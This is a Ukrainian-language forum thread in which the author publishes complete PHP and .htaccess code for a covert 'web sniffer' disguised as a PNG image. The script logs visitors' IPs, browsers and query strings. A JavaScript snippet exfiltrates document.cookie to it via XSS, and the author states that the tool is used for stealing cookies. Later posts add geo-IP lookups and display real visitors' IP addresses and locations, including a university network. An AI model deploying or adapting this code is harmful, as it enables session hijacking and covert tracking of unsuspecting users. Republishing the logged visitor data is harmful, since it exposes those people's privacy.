1 Востаннє редагувалося VTrim (29.12.2014 21:23:56)

Тема: Пишемо веб сніффер

Мені потрібен був онлайн сніффер для тестування однієї XSS вразливості,в гуглі були тільки такі,які потребували реєстрації,тому вирішив написати свій.
Хто не знає що це - https://ru.wikipedia.org/wiki/Анализатор_трафика

Ми замаскуємо його під png картинку,використовуючи бібліотеку GD та файл .htaccess (якщо сервер Apache)

Для початку створимо каталог з назвою /img/ в кореневому каталозі сервера.
Створимо у ньому наступні файли:

connect.php (файл виводу картинки)
image.png (справжня png картинка,буде прикріплена в архіві)
log.php (файл виводу логу)
base.dat (файл,де зберігатимуться логи)
.htaccess (файл конфігурації сервера)

Файл connect.php,відкриємо та запишемо в нього наступний PHP код:

<?php
header('Content-type: image/png'); //тип контенту: PNG картинка

define('ROOT',(string)$_SERVER['DOCUMENT_ROOT']); //повний шлях до кореневого каталогу

define('NO','Немає'); //якщо дані пусті

define('IP',(string)$_SERVER['REMOTE_ADDR']); //IP адрес

define('UserAgent',(string)$_SERVER['HTTP_USER_AGENT']); //юзерагент,браузер

define('Referer',(string)!empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : NO); //реферер (звідки прийшли)
 
define('Language',(string)$_SERVER['HTTP_ACCEPT_LANGUAGE']); //клієнтська мова

define('RealIP',(string)!empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : NO); //якщо підключення через проксі

define('Method',(string)$_SERVER['REQUEST_METHOD']); //метод підключення

define('QueryString',(string)!empty($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : NO); //рядок запиту (/query.php?ryadok=zapyt&tak=dali)

define('RequestTime',(int)$_SERVER['REQUEST_TIME']); //час запиту

define('Accept',(string)!empty($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : NO); //Accept інформація

define('AcceptCharset',(string)!empty($_SERVER['HTTP_ACCEPT_CHARSET']) ? $_SERVER['HTTP_ACCEPT_CHARSET'] : NO); //кодування

define('Connection',(string)!empty($_SERVER['HTTP_CONNECTION']) ? $_SERVER['HTTP_CONNECTION'] : NO); //тип підключення

define('RemoteHost',(string)!empty($_SERVER['REMOTE_HOST']) ? $_SERVER['REMOTE_HOST'] : NO); //хост з якого підключились

define('RemotePort',(int)$_SERVER['REMOTE_PORT']); //порт,з якого підключились

(string)$log = '/img/base.dat'; //файл для запису в лог

(string)$base = IP."|".UserAgent."|".Referer."|".Language."|".RealIP."|".Method."|".QueryString."|".RequestTime."|".Accept."|".AcceptCharset."|".Connection."|".RemoteHost."|".RemotePort."\n"; //дані для запису з розділеннями

file_put_contents(ROOT.'/'.$log,$base,FILE_APPEND); //запис в файл

$image  = imagecreatefrompng('image.png'); //створення зображення

imagepng($image); //показ зображення

imagedestroy($image); //звільняємо память

Зберегли? Йдемо далі..
Нам потрібно, щоб файли у форматі .png виконувались сервером як php,для цього нам знадобиться файл .htaccess.
Відкриваємо та записуємо в нього наступне:

AddDefaultCharset UTF-8
Options -Indexes
<Files "*.dat">
deny from all
</Files>

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]
RewriteRule ^logo.png$ connect.php [L,QSA]

Тут ми встановили кодування всіх файлів в UTF-8,зробили виконання файлу connect.php як logo.png,заборонили index'увати (можливість перегляду каталогу,якщо немає індексного файлу) каталог /img/ та заборонили вільний перегляд .dat файлів через браузер. Зберегли.

Далі файл виводу логу log.php (під паролем)

<?php

(string)$MyPassword = 'VTrim'; //пароль для перегляду логу
(string)$GetPassword = $_GET['password']; //пароль в GET

if(isset($GetPassword)) {

  if($GetPassword == $MyPassword) { 

  if(isset($_GET['clean'])) {
  file_put_contents('base.dat',null); //очистка логу
  header('Location: ?password='.$GetPassword.''); //переадресація
  exit;
  }

  //функція для роботи з датою/часом
  function StringTime($str,$msg1,$msg2,$msg3) 
  {
  $str = (int)$str;
  $str1 = abs($str) % 100;
  $str2 = $str % 10;
  if ($str1 > 10 && $str1 < 20) return $str .' '. $msg3;
  if ($str2 > 1 && $str2 < 5) return $str .' '. $msg2;
  if ($str2 == 1) return $str .' '. $msg1;
  return $str .' '. $msg3;
  }
  function itime($times=NULL){
  $time = time();
  if(($time-$times)<=60){
  $timesp = StringTime((($time-$times)),'секунду','секунди','секунд').' тому';
  return $timesp;
  }else if(($time-$times)<=3600){$timesp = StringTime((($time-$times)/60),'хвилину','хвилини','хвилин').' тому';
  return $timesp;
  } 
  else 
  {
  $today = date('j M Y', $time);
  $today = date('j M Y', $time);
  $yesterday = date('j M Y', strtotime("-1 day"));
  $timesp = date('j M Y  в H:i', $times);
  $timesp = str_replace($today, 'Сьогодні', $timesp);
  $timesp = str_replace($yesterday, 'Вчора', $timesp);
  $timesp = strtr($timesp, array('Jan' => 'Січня','Feb' => 'Лютого','Mar' => 'Березня','May' => 'Травня','Apr' => 'Квітня','Jun' => 'Червня','Jul' => 'Липня','Aug' => 'Серпня','Sep' => 

'Вересня','Oct' => 'Жовтня','Nov' => 'Листопада','Dec' => 'Грудня',));
  return $timesp;
  }
  }

(array)$log = file('base.dat'); //массив інформації з файлу

if(!empty($log)) {

echo  '<a href="?password='.$GetPassword.'&clean">Очистити лог</a>';

(int)$i = 1; //початок підрахунку записів

foreach($log as $value) //цикл виводу інформації з файлу 
{
echo '<table width=100%><td>
      <b>Запис N'.($i++).'</b><br>'; //номер запису в файлі

(array)$data = explode('|',$value); //розбиваємо кожен елемент запису

echo 'IP адрес: '.$data['0'].'<br>
      Браузер (UserAgent): '.htmlspecialchars($data['1']).'<br>
      Рядок запиту: '.htmlspecialchars($data['6']).'<br>
      Реферер: '.htmlspecialchars($data['2']).'<br>
      Real IP: '.$data['4'].'<br>
      Мова: '.$data['3'].'<br>
      Тип запиту: '.$data['5'].'<br>
      Час запиту: '.itime($data['7']).'<br>
      Заголовок Accept: '.$data['8'].'<br>
      Тип кодування: '.$data['9'].'<br>
      Тип підключення: '.$data['10'].'<br>
      Імя віддаленого хоста: '.$data['11'].'<br>
      Порт користувача: '.$data['12'].'<br>
      </td></table><br>';

}

}
else { echo 'Немає записів';  }

}
else { echo 'Невірний пароль!'; }

}

echo !isset($GetPassword) ? '<table width=20% border=1><td>
      <form action = "">
      Введіть пароль: <input type="password" name="password">
      <input type="submit" value="Увійти">
      </form>
      </td></table>' : null;

exit;

Звернення до сніфф картинки:
http://test.com/img/logo.png

В html

<img src="http://test.com/img/logo.png" alt="logo">

в JavaScript для кражі cookies (якщо є XSS або прямий доступ до редагування коду)

<script>
img = new Image(); 
img.src = "http://test.com/img/logo.png?"+document.cookie;
</script>

Куки прилетять в такому вигляді в лог:
Рядок запиту: __gads=ID=599008246a0d2422:T=1384160800:S=ALNI_MaQsXSKu6uwgQ6UdXFsnoTPqHEAAw;%20vc=2

в бб коді

[img]http://test.com/img/logo.png[/img]

Або ж через лінк на картинку

<a href="http://test.com/img/logo.png">Зображення</a>

Ну і сам скрипт нижче..

Post's attachments

img.zip 10.94 kb, 701 downloads since 2014-10-16 

Подякували: 0xDADA11C7, leofun01, 221VOLT, Betterthanyou, /KIT\5

2 Востаннє редагувалося VTrim (16.10.2014 13:55:38)

Re: Пишемо веб сніффер

тест сніффера
http://mobilink.url.ph/img/logo.png

http://mobilink.url.ph/img/log.php?password=VTrim
лог :)

3

Re: Пишемо веб сніффер

Запис N1
IP адрес: 77.121.97.2
Браузер (UserAgent): Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.122 Safari/537.36 OPR/24.0.1558.64
Рядок запиту: Немає
Реферер: http://replace.org.ua/topic/3418/
Real IP: Немає
Мова: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Тип запиту: GET
Час запиту: 5 хвилин тому
Заголовок Accept: image/webp,*/*;q=0.8
Тип кодування: Немає
Тип підключення: close
Імя віддаленого хоста: Немає
Порт користувача: 38454

Запис N2
IP адрес: 212.86.231.214
Браузер (UserAgent): Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0 AlexaToolbar/alxf-2.21
Рядок запиту: Немає
Реферер: http://replace.org.ua/post/36895/
Real IP: Немає
Мова: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3
Тип запиту: GET
Час запиту: 5 хвилин тому
Заголовок Accept: image/png,image/*;q=0.8,*/*;q=0.5
Тип кодування: Немає
Тип підключення: close
Імя віддаленого хоста: Немає
Порт користувача: 39198

Запис N3
IP адрес: 37.73.206.101
Браузер (UserAgent): Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.15
Рядок запиту: Немає
Реферер: http://replace.org.ua/post/36895/
Real IP: Немає
Мова: ru-RU,ru;q=0.9,en;q=0.8
Тип запиту: GET
Час запиту: 4 хвилини тому
Заголовок Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Тип кодування: Немає
Тип підключення: close
Імя віддаленого хоста: Немає
Порт користувача: 44157

4

Re: Пишемо веб сніффер

і що це дало?

5 Востаннє редагувалося VTrim (16.10.2014 21:45:36)

Re: Пишемо веб сніффер

monoxrom написав:

і що це дало?

Власний сніффер на власному хості,з функціоналом,який був потрібен мені. Не палиться антивірусом.
Використовував для деяких тестів. По логам видно яку інформацію про користувача ловить.
А взагалі використовується для кражі cookies.

Подякували: leofun011

6

Re: Пишемо веб сніффер

Хоча б статистику по бравзерам і знання, що твої колеги москалі  :P

Мова: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4

Подякували: VTrim, leofun01, 221VOLT, ostap34PHP4

7 Востаннє редагувалося VTrim (20.11.2014 18:02:08)

Re: Пишемо веб сніффер

Тепер є можливість переглядати детальну інформацію про IP адрес та провайдера,використав API сайту 2ip.com.ua
Тепер записи виводяться знизу вверх (тобто нові записи зверху).
Для введення цього оновлення замініть код файлу log.php на наступний:

<?php

(string)$MyPassword = 'VTrim'; //пароль для перегляду логу
(string)$GetPassword = $_GET['password']; //пароль в GET

if(isset($GetPassword)) {

  if($GetPassword == $MyPassword) { 

  if(isset($_GET['clean'])) {
  file_put_contents('base.dat',null); //очистка логу
  header('Location: ?password='.$GetPassword.''); //переадресація
  exit;
  }

  //функція для роботи з датою/часом
  function StringTime($str,$msg1,$msg2,$msg3) 
  {
  $str = (int)$str;
  $str1 = abs($str) % 100;
  $str2 = $str % 10;
  if ($str1 > 10 && $str1 < 20) return $str .' '. $msg3;
  if ($str2 > 1 && $str2 < 5) return $str .' '. $msg2;
  if ($str2 == 1) return $str .' '. $msg1;
  return $str .' '. $msg3;
  }
  function itime($times=NULL){
  $time = time();
  if(($time-$times)<=60){
  $timesp = StringTime((($time-$times)),'секунду','секунди','секунд').' тому';
  return $timesp;
  }else if(($time-$times)<=3600){$timesp = StringTime((($time-$times)/60),'хвилину','хвилини','хвилин').' тому';
  return $timesp;
  } 
  else 
  {
  $today = date('j M Y', $time);
  $today = date('j M Y', $time);
  $yesterday = date('j M Y', strtotime("-1 day"));
  $timesp = date('j M Y  в H:i', $times);
  $timesp = str_replace($today, 'Сьогодні', $timesp);
  $timesp = str_replace($yesterday, 'Вчора', $timesp);
  $timesp = strtr($timesp, array('Jan' => 'Січня','Feb' => 'Лютого','Mar' => 'Березня','May' => 'Травня','Apr' => 'Квітня','Jun' => 'Червня','Jul' => 'Липня','Aug' => 'Серпня','Sep' => 'Вересня','Oct' => 'Жовтня','Nov' => 'Листопада','Dec' => 'Грудня',));
  return $timesp;
  }
  }

(array)$log = file('base.dat'); //массив інформації з файлу

if(!empty($log)) {

if(isset($_GET['ip'])) {

(string)$ip = $_GET['ip'];

(string)$geo = file_get_contents('http://api.2ip.com.ua/geo.json?ip='.$ip.'');

(object)$GeoIP = json_decode($geo);

echo '<b> Гео IP інформація </b> <br>
      Код країни: '.(string)$GeoIP->country_code.'<br>
      Регіон: '.(string)$GeoIP->region_rus.'<br>
      Населений пункт: '.(string)$GeoIP->city_rus.'<br>
      Географічні координати: Широта - '.(float)$GeoIP->latitude.'º Довгота - '.(float)$GeoIP->longitude.'º<br>
      Поштовий індекс: '.(int)$GeoIP->zip_code.'<br>
      Часовий пояс: '.(string)$GeoIP->time_zone.'<br>';

(string)$provider = file_get_contents('http://api.2ip.com.ua/provider.json?ip='.$ip.'');

(object)$ProviderIP = json_decode($provider);

echo '<b> Провайдер IP інформація </b> <br>
      ОФ. назва провайдера в бд RIPE: '.(string)$ProviderIP->name_ripe.'<br>
      Назва російською: '.(string)$ProviderIP->name_rus.'<br>
      Сайт провайдера: '.(string)$ProviderIP->site.'<br>
      Номер автономної системи провайдера: '.(string)$ProviderIP->as.'<br>
      Числове значення (iptolong) першої IP адреси мережі провайдера: '.(int)$ProviderIP->ip_range_start.'<br>
      Числове значення (iptolong) останньої IP адреси мережі провайдера: '.(int)$ProviderIP->ip_range_end.'<br>
      Мережа провайдера: '.(string)$ProviderIP->route.'<br>
      Маска мережі провайдера: '.(int)$ProviderIP->mask.'<br>';

exit;
}

echo '<a href="?password='.$GetPassword.'&clean">Очистити лог</a>';

(int)$count = count($log) - 1; //початок підрахунку записів

for((int)$i=$count; $i>=0; $i--) //цикл виводу інформації з файлу 
{
echo '<table width=100%><td>
      <b>Запис N'.($i + 1).'</b><br>'; //номер запису в файлі

(array)$data = explode('|',$log[$i]); //розбиваємо кожен елемент запису

echo 'IP адрес: '.$data['0'].' (<a href="?password='.$GetPassword.'&ip='.$data['0'].'">Переглянути інформацію)</a><br>
      Браузер (UserAgent): '.htmlspecialchars($data['1']).'<br>
      Рядок запиту: '.htmlspecialchars($data['6']).'<br>
      Реферер: '.htmlspecialchars($data['2']).'<br>
      Real IP: '.$data['4'].'<br>
      Мова: '.$data['3'].'<br>
      Тип запиту: '.$data['5'].'<br>
      Час запиту: '.itime($data['7']).'<br>
      Заголовок Accept: '.$data['8'].'<br>
      Тип кодування: '.$data['9'].'<br>
      Тип підключення: '.$data['10'].'<br>
      Імя віддаленого хоста: '.$data['11'].'<br>
      Порт користувача: '.$data['12'].'<br>
      </td></table><br>';

}

}
else { echo 'Немає записів';  }

}
else { echo 'Невірний пароль!'; }

}

echo !isset($GetPassword) ? '<table width=20% border=1><td>
      <form action = "">
      Введіть пароль: <input type="password" name="password">
      <input type="submit" value="Увійти">
      </form>
      </td></table>' : null;

exit;

Оновлений http://mobilink.url.ph/img/log.php?password=VTrim
Для перегляду інфи про IP клікайте на лінк (Переглянути інформацію) біля IP адресу.
Чи на пряму
http://mobilink.url.ph/img/log.php?pass … 152.183.36

Перевіряйте чи хоч приблизно правильно показує ваше місцезнаходження за IP :)

8

Re: Пишемо веб сніффер

VTrim написав:

Перевіряйте чи хоч приблизно правильно показує ваше місцезнаходження за IP :)

Правильно

Подякували: VTrim1

9

Re: Пишемо веб сніффер

Перепис вирішили влаштувати? Відмітився.

10

Re: Пишемо веб сніффер

quez написав:

Перепис вирішили влаштувати? Відмітився.

ша?

Re: Пишемо веб сніффер

muroclav написав:
VTrim написав:

Перевіряйте чи хоч приблизно правильно показує ваше місцезнаходження за IP :)

Правильно

А мені сказало, що я у Києві знаходжуся)

Подякували: ostap34PHP1

12

Re: Пишемо веб сніффер

Hanter написав:
muroclav написав:
VTrim написав:

Перевіряйте чи хоч приблизно правильно показує ваше місцезнаходження за IP :)

Правильно

А мені сказало, що я у Києві знаходжуся)

Там було багато запитів з мобільного інтернету, всі визначені як провайдер Астеліт, м. Київ. Ну а клієнт міг знаходитись будь-де. Це не ваш випадок?

13 Востаннє редагувалося VTrim (18.10.2014 10:39:56)

Re: Пишемо веб сніффер

Якщо ти не з СБУ,то сам точне місцезнаходження за IP не визначиш).

Прихований текст

Навіть одного з Москви видало..) в попередньому лозі. Може й не Москви,але шо з Росії,то точно.

14

Re: Пишемо веб сніффер

VTrim написав:

Якщо ти не з СБУ,то сам точне місцезнаходження за IP не визначиш).

Прихований текст

Навіть одного з Москви видало..) в попередньому лозі. Може й не Москви,але шо з Росії,то точно.

а шо таке мають співробітники сбу, чого не має звичайний юзер

15

Re: Пишемо веб сніффер

Q-bart написав:
VTrim написав:

Якщо ти не з СБУ,то сам точне місцезнаходження за IP не визначиш).

Прихований текст

Навіть одного з Москви видало..) в попередньому лозі. Може й не Москви,але шо з Росії,то точно.

а шо таке мають співробітники сбу, чого не має звичайний юзер

Вони прослуховують телефонні розмови терористів на сході,а Ви ще таке питаєте..

16

Re: Пишемо веб сніффер

Хтось прямо з універу сидить :)

Гео IP інформація
Код країни: UA
Регіон: Львовская область
Населений пункт: Львов
Географічні координати: Широта - 49.83826º Довгота - 24.02324º
Поштовий індекс: 79013
Часовий пояс: +03:00
Провайдер IP інформація
ОФ. назва провайдера в бд RIPE: Lviv Polytechnic National University
Назва російською: Национальный университет "Львовская политехника"
Сайт провайдера: http://lp.edu.ua/
Номер автономної системи провайдера: 24893
Числове значення (iptolong) першої IP адреси мережі провайдера: 3273027584
Числове значення (iptolong) останньої IP адреси мережі провайдера: 3273028607
Мережа провайдера: 195.22.112.0
Маска мережі провайдера: 22

17

Re: Пишемо веб сніффер

Гадаю, що то 0x9111A

Подякували: 0x9111A1

18

Re: Пишемо веб сніффер

Підключив гугл до сніфера :)

Запис N7
IP адрес: 66.249.81.54 (Переглянути інформацію)
Браузер (UserAgent): Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.15,gzip(gfe)
Рядок запиту: Немає
Реферер: https://translate.google.com.ua/transla … _yKXg0qEtw
Real IP: 37.73.243.62, 37.73.243.62
Мова:
Тип запиту: GET
Час запиту: 14 секунд тому
Заголовок Accept: text/html, text/plain, application/pdf, application/msword, */*, */*
Тип кодування: utf-8,*
Тип підключення: close
Імя віддаленого хоста: Немає
Порт користувача: 46963

Гео IP інформація
Код країни: US
Регіон: Калифорния
Населений пункт: Маунтин-Вью
Географічні координати: Широта - 37.405992º Довгота - -122.078515º
Поштовий індекс: 94043
Часовий пояс: -07:00
Провайдер IP інформація
ОФ. назва провайдера в бд RIPE:
Назва російською:
Сайт провайдера:
Номер автономної системи провайдера:
Числове значення (iptolong) першої IP адреси мережі провайдера: 0
Числове значення (iptolong) останньої IP адреси мережі провайдера: 0
Мережа провайдера:
Маска мережі провайдера: 0

Подякували: 221VOLT, diogen2

19

Re: Пишемо веб сніффер

Непоганий сніфер, дякую, поставив на усі свої сервери.